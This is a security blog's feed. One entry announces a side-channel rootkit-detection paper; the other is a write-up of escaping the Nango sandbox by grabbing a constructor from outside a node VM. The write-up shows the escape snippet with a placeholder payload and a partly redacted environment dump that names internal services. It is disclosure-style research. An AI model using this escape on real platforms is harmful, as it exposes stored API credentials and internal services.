<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>hexed.zip</title>
    <link rel="self" type="application/atom+xml" href="https://hexed.zip/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://hexed.zip"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-09-13T00:00:00+00:00</updated>
    <id>https://hexed.zip/atom.xml</id>
    <entry xml:lang="en">
        <title>Detecting syscall hooks with side-channels</title>
        <published>2026-09-13T00:00:00+00:00</published>
        <updated>2026-09-13T00:00:00+00:00</updated>
        
        <author>
          <name>Unknown</name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://hexed.zip/blog/tmpout5/"/>
        <id>https://hexed.zip/blog/tmpout5/</id>
        
        <content type="html" xml:base="https://hexed.zip/blog/tmpout5/">&lt;p&gt;I submitted a paper to &lt;a rel=&quot;external&quot; href=&quot;https://tmpout.sh/5/&quot;&gt;tmp.0ut Volume 5&lt;/a&gt; that was published on Aug 23, 2026!&lt;/p&gt;
&lt;p&gt;You can read the paper by clicking below&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;ascii-art&quot; href=&quot;https://tmpout.sh/5/11.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; role=&quot;img&quot; aria-label=&quot;ASCII art banner representing a fingerprint from the article, with the title: Detecting syscall hooks with side-channels, sprinkled throughout it&quot;&gt;╭───────────────────────────────────────────────────────────────────────────╮
│                                                                           │
│     ▄▄▃▃ Detecting ▇▇█▃    ▃ ▅▅▇▆▄▃▃▃▅▄▅▅▇▇▆▆▁▃▅    ▃ ▃     ▃▃▃▃▃▃▃▁      │
│     ▃▃     ▃▅▃▃▃▃▅▃▅▃▃▃▃▃▃▅▅▃▁▁▁     ▁▄▃ syscall ▃▃   hooks    ▃ ▃▃▃      │
│     ▅▅▅▅▅▅▅▅▃   with   ▄▄▁   ▃▃  ▃▃▄    side-channels    ▃▃               │
│       ▃▅▃▃▃  ▃▃▁  ▃▃▅▅▃        ▁      ▃▃▃▃▃▁  ▃▅▅▅▄▃▃▃▅▅▃  ▃ ▅▅▅▇▅▅▅      │
│                                                                           │
│     ~ PinkNoize                                                           │
╰───────────────────────────────────────────────────────────────────────────╯&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Why did I choose to research and write about this?&lt;/p&gt;
&lt;p&gt;I had wanted to do use a cache side channel for a bit, and given an increase of interest with rootkits in the community, I figured I would do something that would combine the two. As a lot of rootkit stealth techniques involve making the OS lie, I decided to see if I could use a side-channel to get around this.&lt;/p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Escaping the Nango sandbox</title>
        <published>2026-09-12T00:00:00+00:00</published>
        <updated>2026-09-12T00:00:00+00:00</updated>
        
        <author>
          <name>Unknown</name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://hexed.zip/blog/nango-sandbox/"/>
        <id>https://hexed.zip/blog/nango-sandbox/</id>
        
        <content type="html" xml:base="https://hexed.zip/blog/nango-sandbox/">&lt;p&gt;What is &lt;a rel=&quot;external&quot; href=&quot;https://github.com/NangoHQ/nango&quot;&gt;Nango&lt;/a&gt;?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nango is an open-source platform for building product integrations. It supports 900+ APIs and works with any backend language, AI coding tool, and agent SDK.&lt;/p&gt;
&lt;p&gt;You write integration logic as TypeScript functions, or let AI generate them for you, and deploy to Nango&#39;s production runtime. Nango handles auth, execution, scaling, and observability.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It&#39;s effectively a layer between LLM agents and APIs allowing control over authorization, rate limiting and various other things without directly sharing each integration&#39;s API secrets with the LLM. It also has a serverless component allowing the creation of custom tools that can use Nango&#39;s APIs.
This means it stores credentials for each integrated API, proxies requests on behalf of its users and runs untrusted code as well.
To put it facetiously, it is an SSRFaaS/RCEaaS platform that you trust with your API tokens for integrations like Gmail, 1Password and the other &lt;a rel=&quot;external&quot; href=&quot;https://nango.dev/docs/integrations/overview&quot;&gt;900+ integrations&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;architecture-overview&quot;&gt;Architecture Overview&lt;/h2&gt;
&lt;p&gt;The Nango architecture consists of a K8s cluster with the following services:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Server&lt;/strong&gt; - &quot;Powers the dashboard, API, proxy requests, and incoming/outgoing webhooks.&quot; The only public facing service.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Orchestrator&lt;/strong&gt; - &quot;Manages task scheduling and state tracking.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jobs&lt;/strong&gt; - &quot;Processes tasks and dispatches them to the Runner.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Runner&lt;/strong&gt; - &quot;Executes integration code and interacts with external APIs.&quot;
- In the cloud service, integration code runs in an AWS lambda isolated per account using tenant isolation. You can read more about the transition to a lambda runtime &lt;a rel=&quot;external&quot; href=&quot;https://nango.dev/blog/how-nango-runs-untrusted-customer-code-at-scale&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Persist&lt;/strong&gt; - &quot;Stores synced records and logs.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nango has an architecture diagram on their &lt;a rel=&quot;external&quot; href=&quot;https://nango.dev/docs/guides/platform/self-hosting&quot;&gt;self hosting page&lt;/a&gt;.&lt;/p&gt;
&lt;img src=&quot;https://hexed.zip/processed_images/nango-arch.4d81e25cd78c19f6.webp&quot; srcset=&quot;https://hexed.zip/processed_images/nango-arch.724d96d217399699.webp 640w, https://hexed.zip/processed_images/nango-arch.325a0184b5f14fd5.webp 960w, https://hexed.zip/processed_images/nango-arch.dedf9dac8dd404ec.webp 1280w, https://hexed.zip/processed_images/nango-arch.4d81e25cd78c19f6.webp 1920w&quot; sizes=&quot;(min-width: 1000px) 960px, 96vw&quot; alt=&quot;Nango architecture&quot; width=&quot;1920&quot; height=&quot;1991&quot; loading=&quot;lazy&quot;&gt;
&lt;h2 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h2&gt;
&lt;h3 id=&quot;1-missing-authentication&quot;&gt;1. Missing Authentication&lt;/h3&gt;
&lt;p&gt;The internal services orchestrator, jobs and runner have no authentication so any partial compromise (such as SSRF) could lead to abuse of these privileged APIs.&lt;/p&gt;
&lt;p&gt;This is less of a vulnerability and more so a decision made by the developers given that authentication was setup for more directly sensitive APIs such as in the persist service.&lt;/p&gt;
&lt;h3 id=&quot;2-insufficient-sandboxing-in-runner&quot;&gt;2. Insufficient Sandboxing in Runner&lt;/h3&gt;
&lt;p&gt;As mentioned earlier, Nango has a serverless component. These are called &lt;a rel=&quot;external&quot; href=&quot;https://nango.dev/docs/guides/functions/functions-guide&quot;&gt;Functions&lt;/a&gt; which let you upload some typescript that will be compiled and stored in S3. These functions can be triggered in various ways such as on a schedule, on demand and a few other ways depending on your use case.
These functions run from the Runner service and thus run in the lambda runtime on Nango cloud. The Runner service invokes the lambda with the code along with the associated account&#39;s default API key. The code will be stored in S3 if it is too large for the lambda input size.&lt;/p&gt;
&lt;p&gt;The lambda does a bunch of setup such as pulling the Function&#39;s code then sets up the sandbox with the following code:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Wrap the function code and setup a &lt;a rel=&quot;external&quot; href=&quot;https://nodejs.org/api/vm.html&quot;&gt;node VM&lt;/a&gt; (not a security boundary btw)&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;typescript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; wrappedCode&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; `(function() { var module = { exports: {} }; var exports = module.exports; &lt;/span&gt;&lt;span class=&quot;z-10&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;z-12 z-i&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;z-10&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;        return module.exports;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;    })();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;    `&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;try&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;    const&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; script&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; = new&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; vm&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt;Script&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;wrappedCode&lt;/span&gt;&lt;span&gt;, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;        filename&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Setup limited imports with a fake require&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;typescript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; sandbox&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt; vm&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt;Context&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; =&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-8 z-i&quot;&gt;    // disable console in the sandboxed code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    constructor:&lt;/span&gt;&lt;span class=&quot;z-4&quot;&gt; undefined&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    console:&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; new&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt; Proxy&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-16&quot;&gt;            get&lt;/span&gt;&lt;span&gt;: ()&lt;/span&gt;&lt;span class=&quot;z-17 z-b&quot;&gt; =&amp;gt;&lt;/span&gt;&lt;span&gt; ()&lt;/span&gt;&lt;span class=&quot;z-17 z-b&quot;&gt; =&amp;gt;&lt;/span&gt;&lt;span&gt; {}&lt;/span&gt;&lt;span class=&quot;z-8 z-i&quot;&gt; // Returns no-op function for any console method&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-16&quot;&gt;    require&lt;/span&gt;&lt;span&gt;: (&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;moduleName&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-5&quot;&gt; string&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-17 z-b&quot;&gt; =&amp;gt;&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;        switch&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;moduleName&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;            case&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; &amp;#39;url&amp;#39;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;                return&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; url&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;            case&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; &amp;#39;crypto&amp;#39;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;                return&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; crypto&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;            case&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; &amp;#39;zod&amp;#39;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;                return&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; zod&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;            case&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; &amp;#39;botbuilder&amp;#39;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;                return&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; botbuilder&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;            case&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; &amp;#39;soap&amp;#39;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;                return&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; soap&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;            case&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; &amp;#39;unzipper&amp;#39;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;                return&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; unzipper&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;            default&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;                throw new&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt; Error&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt;`Module &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-10&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;z-12 z-i&quot;&gt;moduleName&lt;/span&gt;&lt;span class=&quot;z-10&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt;&amp;#39; is not allowed`&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;    Buffer&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;    setTimeout&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;    Error&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;    URL&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;    URLSearchParams&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;Object&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt;setPrototypeOf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;sandbox&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-4&quot;&gt; null&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; context&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; vm&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt;createContext&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;sandbox&lt;/span&gt;&lt;span&gt;, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    codeGeneration: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        strings:&lt;/span&gt;&lt;span class=&quot;z-4&quot;&gt; false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        wasm:&lt;/span&gt;&lt;span class=&quot;z-4&quot;&gt; false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Start the VM, extract the exports and execute the code&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;typescript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; scriptExports&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; script&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt;runInContext&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;context&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; as&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt; ScriptExports&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; def&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; scriptExports&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;default&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-8 z-i&quot;&gt;// Action&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;    if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;nangoProps&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;scriptType&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; ===&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; &amp;#39;action&amp;#39;&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;        let&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; inputParams&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; codeParams&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;        output&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; = await&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt; def&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;functionNango&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; inputParams&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using &lt;a rel=&quot;external&quot; href=&quot;https://gist.github.com/jcreedcmu/4f6e6d4a649405a9c86bb076905696af&quot;&gt;this helpful guide&lt;/a&gt; on node VM escapes, I learned that we can escape the VM using the objects passed from outside the VM to the inside. This can be done by yoinking a constructor object from out of the VM and executing your code with that.
I ended up using &lt;code&gt;functionNango&lt;/code&gt; as it came from outside the VM and has an async method &lt;code&gt;.get()&lt;/code&gt; allowing me to grab an AsyncFunction constructor. The async constructor will let us seamlessly use the async runtime.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;typescript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-8 z-i&quot;&gt;// Within VM&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; async_constructor&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; =&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;nango&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; as&lt;/span&gt;&lt;span class=&quot;z-5&quot;&gt; any&lt;/span&gt;&lt;span&gt;)[&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt;&amp;#39;constructor&amp;#39;&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; c&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; `&amp;lt;payload here. This will exec outside VM&amp;gt;`&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; result&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; = await&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt; async_constructor&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;c&lt;/span&gt;&lt;span&gt;)();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&quot;estimating-impact-from-env-vars&quot;&gt;Estimating impact from env vars&lt;/h2&gt;
&lt;p&gt;So now we have escaped the VM, but so what? Aren&#39;t we in a tenant isolated lambda?
Yes, but we can (ab)use the lambda&#39;s&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;IAM role permissions&lt;/li&gt;
&lt;li&gt;internal network access
Let&#39;s first start by dumping the lambda&#39;s env vars&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;quot;PERSIST_SERVICE_URL&amp;quot;: &amp;quot;http://persist.internal.nango&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;quot;AWS_SECRET_ACCESS_KEY&amp;quot;: &amp;quot;REDACTED&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;quot;DD_API_KEY_SECRET_ARN&amp;quot;: &amp;quot;arn:aws:secretsmanager:us-west-2:291213480759:secret:datadog-api-key-production-f9NmLt&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;quot;JOBS_SERVICE_URL&amp;quot;: &amp;quot;http://jobs.internal.nango&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;quot;AWS_ACCESS_KEY_ID&amp;quot;: &amp;quot;REDACTED&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;quot;LAMBDA_PAYLOADS_BUCKET_NAME&amp;quot;: &amp;quot;nango-lambda-payloads-production&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;quot;AWS_SESSION_TOKEN&amp;quot;: &amp;quot;REDACTED&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;internal-services&quot;&gt;Internal services&lt;/h3&gt;
&lt;p&gt;I was able to validate the lambda had access to the Persist and Jobs service via the health endpoint.
Unfortunately, the persist service does authorize using each account&#39;s default API key. I did not explore that service further but there could be opportunities for poisoning your own accounts task data (such as usage quotas).&lt;/p&gt;
